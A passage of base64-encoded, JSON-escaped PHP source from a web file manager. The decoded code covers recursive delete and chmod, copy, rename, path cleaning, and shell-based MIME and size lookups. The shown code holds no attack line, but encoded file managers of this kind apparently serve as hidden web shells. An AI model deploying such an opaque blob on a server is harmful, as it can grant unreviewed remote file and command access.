gICAgICAgIDw/cGhwIGVuZGlmOyA/PlxuICAgIDxcL2Rpdj5cbjxcL2Zvcm0+XG5cbjw/cGhwXG5mbV9zaG93X2Zvb3RlcigpO1xuXG5cL1wvIC0tLSBFTkQgSFRNTCAtLS1cblxuXC9cLyBGdW5jdGlvbnNcblxuXC8qKlxuICogSXQgcHJpbnRzIHRoZSBjc3NcL2pzIGZpbGVzIGludG8gaHRtbFxuICogQHBhcmFtIGtleSBUaGUga2V5IG9mIHRoZSBleHRlcm5hbCBmaWxlIHRvIHByaW50LlxuICpcL1xuZnVuY3Rpb24gcHJpbnRfZXh0ZXJuYWwoJGtleSlcbntcbiAgICBnbG9iYWwgJGV4dGVybmFsO1xuXG4gICAgaWYgKCFhcnJheV9rZXlfZXhpc3RzKCRrZXksICRleHRlcm5hbCkpIHtcbiAgICAgICAgZWNobyBcIjwhLS0gRVhURVJOQUw6IE1JU1NJTkcgS0VZICRrZXkgLS0+XCI7XG4gICAgICAgIHJldHVybjtcbiAgICB9XG5cbiAgICBlY2hvIFwiJGV4dGVybmFsWyRrZXldXCI7XG59XG5cblwvKipcbiAqIFZlcmlmeSBDU1JGIFRPS0VOIGFuZCByZW1vdmUgYWZ0ZXIgY2VydGlmaWVkXG4gKiBAcGFyYW0gc3RyaW5nICR0b2tlblxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiB2ZXJpZnlUb2tlbigkdG9rZW4pXG57XG4gICAgaWYgKGhhc2hfZXF1YWxzKCRfU0VTU0lPTlsndG9rZW4nXSwgJHRva2VuKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG4gICAgcmV0dXJuIGZhbHNlO1xufVxuXG5cLyoqXG4gKiBEZWxldGUgIGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSlcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1fcmRlbGV0ZSgkcGF0aClcbntcbiAgICBpZiAoaXNfbGluaygkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIHVubGluaygkcGF0aCk7XG4gICAgfSBlbHNlaWYgKGlzX2RpcigkcGF0aCkpIHtcbiAgICAgICAgJG9iamVjdHMgPSBzY2FuZGlyKCRwYXRoKTtcbiAgICAgICAgJG9rID0gdHJ1ZTtcbiAgICAgICAgaWYgKGlzX2FycmF5KCRvYmplY3RzKSkge1xuICAgICAgICAgICAgZm9yZWFjaCAoJG9iamVjdHMgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICAgICBpZiAoJGZpbGUgIT0gJy4nICYmICRmaWxlICE9ICcuLicpIHtcbiAgICAgICAgICAgICAgICAgICAgaWYgKCFmbV9yZGVsZXRlKCRwYXRoIC4gJ1wvJyAuICRmaWxlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgJG9rID0gZmFsc2U7XG4gICAgICAgICAgICAgICAgICAgIH1cbiAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICgkb2spID8gcm1kaXIoJHBhdGgpIDogZmFsc2U7XG4gICAgfSBlbHNlaWYgKGlzX2ZpbGUoJHBhdGgpKSB7XG4gICAgICAgIHJldHVybiB1bmxpbmsoJHBhdGgpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIFJlY3Vyc2l2ZSBjaG1vZFxuICogQHBhcmFtIHN0cmluZyAkcGF0aFxuICogQHBhcmFtIGludCAkZmlsZW1vZGVcbiAqIEBwYXJhbSBpbnQgJGRpcm1vZGVcbiAqIEByZXR1cm4gYm9vbFxuICogQHRvZG8gV2lsbCB1c2UgaW4gbWFzcyBjaG1vZFxuICpcL1xuZnVuY3Rpb24gZm1fcmNobW9kKCRwYXRoLCAkZmlsZW1vZGUsICRkaXJtb2RlKVxue1xuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghY2htb2QoJHBhdGgsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgICRvYmplY3RzID0gc2NhbmRpcigkcGF0aCk7XG4gICAgICAgIGlmIChpc19hcnJheSgkb2JqZWN0cykpIHtcbiAgICAgICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICAgICAgaWYgKCRmaWxlICE9ICcuJyAmJiAkZmlsZSAhPSAnLi4nKSB7XG4gICAgICAgICAgICAgICAgICAgIGlmICghZm1fcmNobW9kKCRwYXRoIC4gJ1wvJyAuICRmaWxlLCAkZmlsZW1vZGUsICRkaXJtb2RlKSkge1xuICAgICAgICAgICAgICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICAgICAgICAgICAgICB9XG4gICAgICAgICAgICAgICAgfVxuICAgICAgICAgICAgfVxuICAgICAgICB9XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH0gZWxzZWlmIChpc19saW5rKCRwYXRoKSkge1xuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9IGVsc2VpZiAoaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGNobW9kKCRwYXRoLCAkZmlsZW1vZGUpO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIENoZWNrIHRoZSBmaWxlIGV4dGVuc2lvbiB3aGljaCBpcyBhbGxvd2VkIG9yIG5vdFxuICogQHBhcmFtIHN0cmluZyAkZmlsZW5hbWVcbiAqIEByZXR1cm4gYm9vbFxuICpcL1xuZnVuY3Rpb24gZm1faXNfdmFsaWRfZXh0KCRmaWxlbmFtZSlcbntcbiAgICAkYWxsb3dlZCA9IChGTV9GSUxFX0VYVEVOU0lPTikgPyBleHBsb2RlKCcsJywgRk1fRklMRV9FWFRFTlNJT04pIDogZmFsc2U7XG5cbiAgICAkZXh0ID0gcGF0aGluZm8oJGZpbGVuYW1lLCBQQVRISU5GT19FWFRFTlNJT04pO1xuICAgICRpc0ZpbGVBbGxvd2VkID0gKCRhbGxvd2VkKSA/IGluX2FycmF5KCRleHQsICRhbGxvd2VkKSA6IHRydWU7XG5cbiAgICByZXR1cm4gKCRpc0ZpbGVBbGxvd2VkKSA/IHRydWUgOiBmYWxzZTtcbn1cblxuXC8qKlxuICogU2FmZWx5IHJlbmFtZVxuICogQHBhcmFtIHN0cmluZyAkb2xkXG4gKiBAcGFyYW0gc3RyaW5nICRuZXdcbiAqIEByZXR1cm4gYm9vbHxudWxsXG4gKlwvXG5mdW5jdGlvbiBmbV9yZW5hbWUoJG9sZCwgJG5ldylcbntcbiAgICAkaXNGaWxlQWxsb3dlZCA9IGZtX2lzX3ZhbGlkX2V4dCgkbmV3KTtcblxuICAgIGlmICghaXNfZGlyKCRvbGQpKSB7XG4gICAgICAgIGlmICghJGlzRmlsZUFsbG93ZWQpIHJldHVybiBmYWxzZTtcbiAgICB9XG5cbiAgICByZXR1cm4gKCFmaWxlX2V4aXN0cygkbmV3KSAmJiBmaWxlX2V4aXN0cygkb2xkKSkgPyByZW5hbWUoJG9sZCwgJG5ldykgOiBudWxsO1xufVxuXG5cLyoqXG4gKiBDb3B5IGZpbGUgb3IgZm9sZGVyIChyZWN1cnNpdmVseSkuXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcGFyYW0gc3RyaW5nICRkZXN0XG4gKiBAcGFyYW0gYm9vbCAkdXBkIFVwZGF0ZSBmaWxlc1xuICogQHBhcmFtIGJvb2wgJGZvcmNlIENyZWF0ZSBmb2xkZXIgd2l0aCBzYW1lIG5hbWVzIGluc3RlYWQgZmlsZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9yY29weSgkcGF0aCwgJGRlc3QsICR1cGQgPSB0cnVlLCAkZm9yY2UgPSB0cnVlKVxue1xuICAgIGlmICghaXNfZGlyKCRwYXRoKSAmJiAhaXNfZmlsZSgkcGF0aCkpIHtcbiAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgIH1cblxuICAgIGlmIChpc19kaXIoJHBhdGgpKSB7XG4gICAgICAgIGlmICghZm1fbWtkaXIoJGRlc3QsICRmb3JjZSkpIHtcbiAgICAgICAgICAgIHJldHVybiBmYWxzZTtcbiAgICAgICAgfVxuXG4gICAgICAgICRvYmplY3RzID0gYXJyYXlfZGlmZihzY2FuZGlyKCRwYXRoKSwgWycuJywgJy4uJ10pO1xuXG4gICAgICAgIGZvcmVhY2ggKCRvYmplY3RzIGFzICRmaWxlKSB7XG4gICAgICAgICAgICBpZiAoIWZtX3Jjb3B5KFwiJHBhdGhcLyRmaWxlXCIsIFwiJGRlc3RcLyRmaWxlXCIsICR1cGQsICRmb3JjZSkpIHtcbiAgICAgICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgICAgICB9XG4gICAgICAgIH1cblxuICAgICAgICByZXR1cm4gdHJ1ZTtcbiAgICB9XG5cbiAgICByZXR1cm4gZm1fY29weSgkcGF0aCwgJGRlc3QsICR1cGQpO1xufVxuXG5cblwvKipcbiAqIFNhZmVseSBjcmVhdGUgZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRkaXJcbiAqIEBwYXJhbSBib29sICRmb3JjZVxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9ta2RpcigkZGlyLCAkZm9yY2UpXG57XG4gICAgaWYgKGZpbGVfZXhpc3RzKCRkaXIpKSB7XG4gICAgICAgIGlmIChpc19kaXIoJGRpcikpIHtcbiAgICAgICAgICAgIHJldHVybiAkZGlyO1xuICAgICAgICB9IGVsc2VpZiAoISRmb3JjZSkge1xuICAgICAgICAgICAgcmV0dXJuIGZhbHNlO1xuICAgICAgICB9XG4gICAgICAgIHVubGluaygkZGlyKTtcbiAgICB9XG4gICAgcmV0dXJuIG1rZGlyKCRkaXIsIDA3NzcsIHRydWUpO1xufVxuXG5cLyoqXG4gKiBTYWZlbHkgY29weSBmaWxlXG4gKiBAcGFyYW0gc3RyaW5nICRmMVxuICogQHBhcmFtIHN0cmluZyAkZjJcbiAqIEBwYXJhbSBib29sICR1cGQgSW5kaWNhdGVzIGlmIGZpbGUgc2hvdWxkIGJlIHVwZGF0ZWQgd2l0aCBuZXcgY29udGVudFxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9jb3B5KCRmMSwgJGYyLCAkdXBkKVxue1xuICAgICR0aW1lMSA9IGZpbGVtdGltZSgkZjEpO1xuICAgIGlmIChmaWxlX2V4aXN0cygkZjIpKSB7XG4gICAgICAgICR0aW1lMiA9IGZpbGVtdGltZSgkZjIpO1xuICAgICAgICBpZiAoJHRpbWUyID49ICR0aW1lMSAmJiAkdXBkKSB7XG4gICAgICAgICAgICByZXR1cm4gZmFsc2U7XG4gICAgICAgIH1cbiAgICB9XG4gICAgJG9rID0gY29weSgkZjEsICRmMik7XG4gICAgaWYgKCRvaykge1xuICAgICAgICB0b3VjaCgkZjIsICR0aW1lMSk7XG4gICAgfVxuICAgIHJldHVybiAkb2s7XG59XG5cblwvKipcbiAqIEdldCBtaW1lIHR5cGVcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVfcGF0aFxuICogQHJldHVybiBtaXhlZHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9taW1lX3R5cGUoJGZpbGVfcGF0aClcbntcbiAgICBpZiAoZnVuY3Rpb25fZXhpc3RzKCdmaW5mb19vcGVuJykpIHtcbiAgICAgICAgJGZpbmZvID0gZmluZm9fb3BlbihGSUxFSU5GT19NSU1FX1RZUEUpO1xuICAgICAgICAkbWltZSA9IGZpbmZvX2ZpbGUoJGZpbmZvLCAkZmlsZV9wYXRoKTtcbiAgICAgICAgZmluZm9fY2xvc2UoJGZpbmZvKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZWlmIChmdW5jdGlvbl9leGlzdHMoJ21pbWVfY29udGVudF90eXBlJykpIHtcbiAgICAgICAgcmV0dXJuIG1pbWVfY29udGVudF90eXBlKCRmaWxlX3BhdGgpO1xuICAgIH0gZWxzZWlmICghc3RyaXN0cihpbmlfZ2V0KCdkaXNhYmxlX2Z1bmN0aW9ucycpLCAnc2hlbGxfZXhlYycpKSB7XG4gICAgICAgICRmaWxlID0gZXNjYXBlc2hlbGxhcmcoJGZpbGVfcGF0aCk7XG4gICAgICAgICRtaW1lID0gc2hlbGxfZXhlYygnZmlsZSAtYmkgJyAuICRmaWxlKTtcbiAgICAgICAgcmV0dXJuICRtaW1lO1xuICAgIH0gZWxzZSB7XG4gICAgICAgIHJldHVybiAnLS0nO1xuICAgIH1cbn1cblxuXC8qKlxuICogSFRUUCBSZWRpcmVjdFxuICogQHBhcmFtIHN0cmluZyAkdXJsXG4gKiBAcGFyYW0gaW50ICRjb2RlXG4gKlwvXG5mdW5jdGlvbiBmbV9yZWRpcmVjdCgkdXJsLCAkY29kZSA9IDMwMilcbntcbiAgICBoZWFkZXIoJ0xvY2F0aW9uOiAnIC4gJHVybCwgdHJ1ZSwgJGNvZGUpO1xuICAgIGV4aXQ7XG59XG5cblwvKipcbiAqIFBhdGggdHJhdmVyc2FsIHByZXZlbnRpb24gYW5kIGNsZWFuIHRoZSB1cmxcbiAqIEl0IHJlcGxhY2VzIChjb25zZWN1dGl2ZSkgb2NjdXJyZW5jZXMgb2YgXC8gYW5kIFxcXFwgd2l0aCB3aGF0ZXZlciBpcyBpbiBESVJFQ1RPUllfU0VQQVJBVE9SLCBhbmQgcHJvY2Vzc2VzIFwvLiBhbmQgXC8uLiBmaW5lLlxuICogQHBhcmFtICRwYXRoXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZ2V0X2Fic29sdXRlX3BhdGgoJHBhdGgpXG57XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnXC8nLCAnXFxcXCcpLCBESVJFQ1RPUllfU0VQQVJBVE9SLCAkcGF0aCk7XG4gICAgJHBhcnRzID0gYXJyYXlfZmlsdGVyKGV4cGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJHBhdGgpLCAnc3RybGVuJyk7XG4gICAgJGFic29sdXRlcyA9IGFycmF5KCk7XG4gICAgZm9yZWFjaCAoJHBhcnRzIGFzICRwYXJ0KSB7XG4gICAgICAgIGlmICgnLicgPT0gJHBhcnQpIGNvbnRpbnVlO1xuICAgICAgICBpZiAoJy4uJyA9PSAkcGFydCkge1xuICAgICAgICAgICAgYXJyYXlfcG9wKCRhYnNvbHV0ZXMpO1xuICAgICAgICB9IGVsc2Uge1xuICAgICAgICAgICAgJGFic29sdXRlc1tdID0gJHBhcnQ7XG4gICAgICAgIH1cbiAgICB9XG4gICAgcmV0dXJuIGltcGxvZGUoRElSRUNUT1JZX1NFUEFSQVRPUiwgJGFic29sdXRlcyk7XG59XG5cblwvKipcbiAqIENsZWFuIHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gc3RyaW5nXG4gKlwvXG5mdW5jdGlvbiBmbV9jbGVhbl9wYXRoKCRwYXRoLCAkdHJpbSA9IHRydWUpXG57XG4gICAgJHBhdGggPSAkdHJpbSA/IHRyaW0oJHBhdGgpIDogJHBhdGg7XG4gICAgJHBhdGggPSB0cmltKCRwYXRoLCAnXFxcXFwvJyk7XG4gICAgJHBhdGggPSBzdHJfcmVwbGFjZShhcnJheSgnLi5cLycsICcuLlxcXFwnKSwgJycsICRwYXRoKTtcbiAgICAkcGF0aCA9ICBnZXRfYWJzb2x1dGVfcGF0aCgkcGF0aCk7XG4gICAgaWYgKCRwYXRoID09ICcuLicpIHtcbiAgICAgICAgJHBhdGggPSAnJztcbiAgICB9XG4gICAgcmV0dXJuIHN0cl9yZXBsYWNlKCdcXFxcJywgJ1wvJywgJHBhdGgpO1xufVxuXG5cLyoqXG4gKiBHZXQgcGFyZW50IHBhdGhcbiAqIEBwYXJhbSBzdHJpbmcgJHBhdGhcbiAqIEByZXR1cm4gYm9vbHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9wYXJlbnRfcGF0aCgkcGF0aClcbntcbiAgICAkcGF0aCA9IGZtX2NsZWFuX3BhdGgoJHBhdGgpO1xuICAgIGlmICgkcGF0aCAhPSAnJykge1xuICAgICAgICAkYXJyYXkgPSBleHBsb2RlKCdcLycsICRwYXRoKTtcbiAgICAgICAgaWYgKGNvdW50KCRhcnJheSkgPiAxKSB7XG4gICAgICAgICAgICAkYXJyYXkgPSBhcnJheV9zbGljZSgkYXJyYXksIDAsIC0xKTtcbiAgICAgICAgICAgIHJldHVybiBpbXBsb2RlKCdcLycsICRhcnJheSk7XG4gICAgICAgIH1cbiAgICAgICAgcmV0dXJuICcnO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cbmZ1bmN0aW9uIGZtX2dldF9kaXNwbGF5X3BhdGgoJGZpbGVfcGF0aClcbntcbiAgICBnbG9iYWwgJHBhdGhfZGlzcGxheV9tb2RlLCAkcm9vdF9wYXRoLCAkcm9vdF91cmw7XG4gICAgc3dpdGNoICgkcGF0aF9kaXNwbGF5X21vZGUpIHtcbiAgICAgICAgY2FzZSAncmVsYXRpdmUnOlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ1BhdGgnLFxuICAgICAgICAgICAgICAgICdwYXRoJyA9PiBmbV9lbmMoZm1fY29udmVydF93aW4oc3RyX3JlcGxhY2UoJHJvb3RfcGF0aCwgJycsICRmaWxlX3BhdGgpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2hvc3QnOlxuICAgICAgICAgICAgJHJlbGF0aXZlX3BhdGggPSBzdHJfcmVwbGFjZSgkcm9vdF9wYXRoLCAnJywgJGZpbGVfcGF0aCk7XG4gICAgICAgICAgICByZXR1cm4gYXJyYXkoXG4gICAgICAgICAgICAgICAgJ2xhYmVsJyA9PiAnSG9zdCBQYXRoJyxcbiAgICAgICAgICAgICAgICAncGF0aCcgPT4gZm1fZW5jKGZtX2NvbnZlcnRfd2luKCdcLycgLiAkcm9vdF91cmwgLiAnXC8nIC4gbHRyaW0oc3RyX3JlcGxhY2UoJ1xcXFwnLCAnXC8nLCAkcmVsYXRpdmVfcGF0aCksICdcLycpKSlcbiAgICAgICAgICAgICk7XG4gICAgICAgIGNhc2UgJ2Z1bGwnOlxuICAgICAgICBkZWZhdWx0OlxuICAgICAgICAgICAgcmV0dXJuIGFycmF5KFxuICAgICAgICAgICAgICAgICdsYWJlbCcgPT4gJ0Z1bGwgUGF0aCcsXG4gICAgICAgICAgICAgICAgJ3BhdGgnID0+IGZtX2VuYyhmbV9jb252ZXJ0X3dpbigkZmlsZV9wYXRoKSlcbiAgICAgICAgICAgICk7XG4gICAgfVxufVxuXG5cLyoqXG4gKiBDaGVjayBmaWxlIGlzIGluIGV4Y2x1ZGUgbGlzdFxuICogQHBhcmFtIHN0cmluZyAkbmFtZSBUaGUgbmFtZSBvZiB0aGUgZmlsZVwvZm9sZGVyXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoIFRoZSBmdWxsIHBhdGggb2YgdGhlIGZpbGVcL2ZvbGRlclxuICogQHJldHVybiBib29sXG4gKlwvXG5mdW5jdGlvbiBmbV9pc19leGNsdWRlX2l0ZW1zKCRuYW1lLCAkcGF0aClcbntcbiAgICAkZXh0ID0gc3RydG9sb3dlcihwYXRoaW5mbygkbmFtZSwgUEFUSElORk9fRVhURU5TSU9OKSk7XG4gICAgaWYgKGlzc2V0KCRleGNsdWRlX2l0ZW1zKSBhbmQgc2l6ZW9mKCRleGNsdWRlX2l0ZW1zKSkge1xuICAgICAgICB1bnNldCgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuXG4gICAgJGV4Y2x1ZGVfaXRlbXMgPSBGTV9FWENMVURFX0lURU1TO1xuICAgIGlmICh2ZXJzaW9uX2NvbXBhcmUoUEhQX1ZFUlNJT04sICc3LjAuMCcsICc8JykpIHtcbiAgICAgICAgJGV4Y2x1ZGVfaXRlbXMgPSB1bnNlcmlhbGl6ZSgkZXhjbHVkZV9pdGVtcyk7XG4gICAgfVxuICAgIGlmICghaW5fYXJyYXkoJG5hbWUsICRleGNsdWRlX2l0ZW1zKSAmJiAhaW5fYXJyYXkoXCIqLiRleHRcIiwgJGV4Y2x1ZGVfaXRlbXMpICYmICFpbl9hcnJheSgkcGF0aCwgJGV4Y2x1ZGVfaXRlbXMpKSB7XG4gICAgICAgIHJldHVybiB0cnVlO1xuICAgIH1cbiAgICByZXR1cm4gZmFsc2U7XG59XG5cblwvKipcbiAqIGdldCBsYW5ndWFnZSB0cmFuc2xhdGlvbnMgZnJvbSBqc29uIGZpbGVcbiAqIEBwYXJhbSBpbnQgJHRyXG4gKiBAcmV0dXJuIGFycmF5XG4gKlwvXG5mdW5jdGlvbiBmbV9nZXRfdHJhbnNsYXRpb25zKCR0cilcbntcbiAgICB0cnkge1xuICAgICAgICAkY29udGVudCA9IEBmaWxlX2dldF9jb250ZW50cygndHJhbnNsYXRpb24uanNvbicpO1xuICAgICAgICBpZiAoJGNvbnRlbnQgIT09IEZBTFNFKSB7XG4gICAgICAgICAgICAkbG5nID0ganNvbl9kZWNvZGUoJGNvbnRlbnQsIFRSVUUpO1xuICAgICAgICAgICAgZ2xvYmFsICRsYW5nX2xpc3Q7XG4gICAgICAgICAgICBmb3JlYWNoICgkbG5nW1wibGFuZ3VhZ2VcIl0gYXMgJGtleSA9PiAkdmFsdWUpIHtcbiAgICAgICAgICAgICAgICAkY29kZSA9ICR2YWx1ZVtcImNvZGVcIl07XG4gICAgICAgICAgICAgICAgJGxhbmdfbGlzdFskY29kZV0gPSAkdmFsdWVbXCJuYW1lXCJdO1xuICAgICAgICAgICAgICAgIGlmICgkdHIpXG4gICAgICAgICAgICAgICAgICAgICR0clskY29kZV0gPSAkdmFsdWVbXCJ0cmFuc2xhdGlvblwiXTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgICAgIHJldHVybiAkdHI7XG4gICAgICAgIH1cbiAgICB9IGNhdGNoIChFeGNlcHRpb24gJGUpIHtcbiAgICAgICAgZWNobyAkZTtcbiAgICB9XG59XG5cblwvKipcbiAqIEBwYXJhbSBzdHJpbmcgJGZpbGVcbiAqIFJlY292ZXIgYWxsIGZpbGUgc2l6ZXMgbGFyZ2VyIHRoYW4gPiAyR0IuXG4gKiBXb3JrcyBvbiBwaHAgMzJiaXRzIGFuZCA2NGJpdHMgYW5kIHN1cHBvcnRzIGxpbnV4XG4gKiBAcmV0dXJuIGludHxzdHJpbmdcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF9zaXplKCRmaWxlKVxue1xuICAgIHN0YXRpYyAkaXN3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkaXNkYXJ3aW4gPSBudWxsO1xuICAgIHN0YXRpYyAkZXhlY193b3JrcyA9IG51bGw7XG5cbiAgICBpZiAoJGlzd2luID09PSBudWxsKSB7XG4gICAgICAgICRpc3dpbiA9IHN0cnRvdXBwZXIoc3Vic3RyKFBIUF9PUywgMCwgMykpID09PSAnV0lOJztcbiAgICAgICAgJGlzZGFyd2luID0gc3RydG91cHBlcihQSFBfT1MpID09PSAnREFSV0lOJztcbiAgICAgICAgJGV4ZWNfd29ya3MgPSBmdW5jdGlvbl9leGlzdHMoJ2V4ZWMnKSAmJiAhaW5pX2dldCgnc2FmZV9tb2RlJykgJiYgQGV4ZWMoJ2VjaG8gRVhFQycpID09PSAnRVhFQyc7XG4gICAgfVxuXG4gICAgaWYgKCRleGVjX3dvcmtzKSB7XG4gICAgICAgICRhcmcgPSBlc2NhcGVzaGVsbGFyZygkZmlsZSk7XG4gICAgICAgICRjbWQgPSAkaXN3aW4gPyBcImZvciAlRiBpbiAoXFxcIiRmaWxlXFxcIikgZG8gQGVjaG8gJX56RlwiIDogKCRpc2RhcndpbiA/IFwic3RhdCAtZiV6ICRhcmdcIiA6IFwic3RhdCAtYyVzICRhcmdcIik7XG4gICAgICAgIEBleGVjKCRjbWQsICRvdXRwdXQpO1xuXG4gICAgICAgIGlmICghZW1wdHkoJG91dHB1dCkgJiYgY3R5cGVfZGlnaXQoJHNpemUgPSB0cmltKGltcGxvZGUoXCJcXG5cIiwgJG91dHB1dCkpKSkge1xuICAgICAgICAgICAgcmV0dXJuICRzaXplO1xuICAgICAgICB9XG4gICAgfVxuXG4gICAgaWYgKCRpc3dpbiAmJiBjbGFzc19leGlzdHMoJ0NPTScpKSB7XG4gICAgICAgIHRyeSB7XG4gICAgICAgICAgICAkZnNvYmogPSBuZXcgQ09NKCdTY3JpcHRpbmcuRmlsZVN5c3RlbU9iamVjdCcpO1xuICAgICAgICAgICAgJGYgPSAkZnNvYmotPkdldEZpbGUocmVhbHBhdGgoJGZpbGUpKTtcbiAgICAgICAgICAgIGlmIChjdHlwZV9kaWdpdCgkc2l6ZSA9ICRmLT5TaXplKSkge1xuICAgICAgICAgICAgICAgIHJldHVybiAkc2l6ZTtcbiAgICAgICAgICAgIH1cbiAgICAgICAgfSBjYXRjaCAoRXhjZXB0aW9uICRlKSB7XG4gICAgICAgIH1cbiAgICB9XG5cbiAgICByZXR1cm4gZmlsZXNpemUoJGZpbGUpO1xufVxuXG5cblwvKipcbiAqIEdldCBuaWNlIGZpbGVzaXplXG4gKiBAcGFyYW0gaW50ICRzaXplXG4gKiBAcmV0dXJuIHN0cmluZ1xuICpcL1xuZnVuY3Rpb24gZm1fZ2V0X2ZpbGVzaXplKCRzaXplKVxue1xuICAgICRzaXplID0gKGZsb2F0KSAkc2l6ZTtcbiAgICAkdW5pdHMgPSBhcnJheSgnQicsICdLQicsICdNQicsICdHQicsICdUQicsICdQQicsICdFQicsICdaQicsICdZQicpO1xuICAgICRwb3dlciA9ICgkc2l6ZSA+IDApID8gZmxvb3IobG9nKCRzaXplLCAxMDI0KSkgOiAwO1xuICAgICRwb3dlciA9ICgkcG93ZXIgPiAoY291bnQoJHVuaXRzKSAtIDEpKSA/IChjb3VudCgkdW5pdHMpIC0gMSkgOiAkcG93ZXI7XG4gICAgcmV0dXJuIHNwcmludGYoJyVzICVzJywgcm91bmQoJHNpemUgXC8gcG93KDEwMjQsICRwb3dlciksIDIpLCAkdW5pdHNbJHBvd2VyXSk7XG59XG5cblwvKipcbiAqIEdldCBpbmZvIGFib3V0IHppcCBhcmNoaXZlXG4gKiBAcGFyYW0gc3RyaW5nICRwYXRoXG4gKiBAcmV0dXJuIGFycmF5fGJvb2xcbiAqXC9cbmZ1bmN0aW9uIGZtX2dldF96aWZfaW5mbygkcGF0aCwgJGV4dClcbntcbiAgICBpZiAoJGV4dCA9PSAnemlwJyAmJiBmdW5jdGlvbl9leGlzdHMoJ3ppcF9vcGVuJykpIHtcbiAgICAgICAgJGFyY2ggPSBAemlwX29wZW4oJHBhdGgpO1xuICAgICAgICBpZiAoJGFyY2gpIHtcbiAgICAgICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICAgICAgd2hpbGUgKCR6aXBfZW50cnkgPSBAemlwX3JlYWQoJGFyY2gpKSB7XG4gICAgICAgICAgICAgICAgJHppcF9uYW1lID0gQHppcF9lbnRyeV9uYW1lKCR6aXBfZW50cnkpO1xuICAgICAgICAgICAgICAgICR6aXBfZm9sZGVyID0gc3Vic3RyKCR6aXBfbmFtZSwgLTEpID09ICdcLyc7XG4gICAgICAgICAgICAgICAgJGZpbGVuYW1lc1tdID0gYXJyYXkoXG4gICAgICAgICAgICAgICAgICAgICduYW1lJyA9PiAkemlwX25hbWUsXG4gICAgICAgICAgICAgICAgICAgICdmaWxlc2l6ZScgPT4gQHppcF9lbnRyeV9maWxlc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2NvbXByZXNzZWRfc2l6ZScgPT4gQHppcF9lbnRyeV9jb21wcmVzc2Vkc2l6ZSgkemlwX2VudHJ5KSxcbiAgICAgICAgICAgICAgICAgICAgJ2ZvbGRlcicgPT4gJHppcF9mb2xkZXJcbiAgICAgICAgICAgICAgICApO1xuICAgICAgICAgICAgfVxuICAgICAgICAgICAgQHppcF9jbG9zZSgkYXJjaCk7XG4gICAgICAgICAgICByZXR1cm4gJGZpbGVuYW1lcztcbiAgICAgICAgfVxuICAgIH0gZWxzZWlmICgkZXh0ID09ICd0YXInICYmIGNsYXNzX2V4aXN0cygnUGhhckRhdGEnKSkge1xuICAgICAgICAkYXJjaGl2ZSA9IG5ldyBQaGFyRGF0YSgkcGF0aCk7XG4gICAgICAgICRmaWxlbmFtZXMgPSBhcnJheSgpO1xuICAgICAgICBmb3JlYWNoIChuZXcgUmVjdXJzaXZlSXRlcmF0b3JJdGVyYXRvcigkYXJjaGl2ZSkgYXMgJGZpbGUpIHtcbiAgICAgICAgICAgICRwYXJlbnRfaW5mbyA9ICRmaWxlLT5nZXRQYXRoSW5mbygpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3RyX3JlcGxhY2UoXCJwaGFyOlwvXC9cIiAuICRwYXRoLCAnJywgJGZpbGUtPmdldFBhdGhOYW1lKCkpO1xuICAgICAgICAgICAgJHppcF9uYW1lID0gc3Vic3RyKCR6aXBfbmFtZSwgKCRwb3MgPSBzdHJwb3MoJHppcF9uYW1lLCAnXC8nKSkgIT09IGZhbHNlID8gJHBvcyArIDEgOiAwKTtcbiAgICAgICAgI